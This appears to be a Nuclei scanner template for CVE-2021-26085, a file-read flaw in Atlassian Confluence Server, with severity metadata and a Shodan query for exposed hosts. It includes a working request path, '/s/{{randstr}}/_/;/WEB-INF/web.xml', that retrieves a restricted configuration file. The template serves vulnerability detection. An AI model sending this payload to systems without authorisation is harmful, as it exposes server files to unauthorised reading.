id: CVE-2021-26085 info: name: Atlassian Confluence Server - Local File Inclusion author: princechaddha severity: medium description: Atlassian Confluence Server allows remote attackers to view restricted resources via local file inclusion in the /s/ endpoint. remediation: | Apply the latest security patches provided by Atlassian to fix the vulnerability. reference: - https://packetstormsecurity.com/files/164401/Atlassian-Confluence-Server-7.5.1-Arbitrary-File-Read.html - https://jira.atlassian.com/browse/CONFSERVER-67893 - https://nvd.nist.gov/vuln/detail/CVE-2021-26085 - http://packetstormsecurity.com/files/164401/Atlassian-Confluence-Server-7.5.1-Arbitrary-File-Read.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2021-26085 cwe-id: CWE-425 epss-score: 0.96595 epss-percentile: 0.99493 cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: atlassian product: confluence_data_center shodan-query: http.component:"Atlassian Confluence" tags: kev,packetstorm,cve,cve2021,confluence,atlassian,lfi,intrusive http: - method: GET path: - "{{BaseURL}}/s/{{randstr}}/_/;/WEB-INF/web.xml" matchers-condition: and matchers: - type: word part: body words: - Confluence - com.atlassian.confluence.setup.ConfluenceAppConfig condition: and - type: status status: - 200 # digest: 4a0a0047304502201e2f15dad4db97f9268a54ebf4e76d3105e371f28cd32fc1248b8abc4c3cf7c2022100e6821eaeae31a016018c03306d632c120547adbcc82e1b3b3d65bb054d6fcdf8:922c64590222798bb761d5b6d8e72950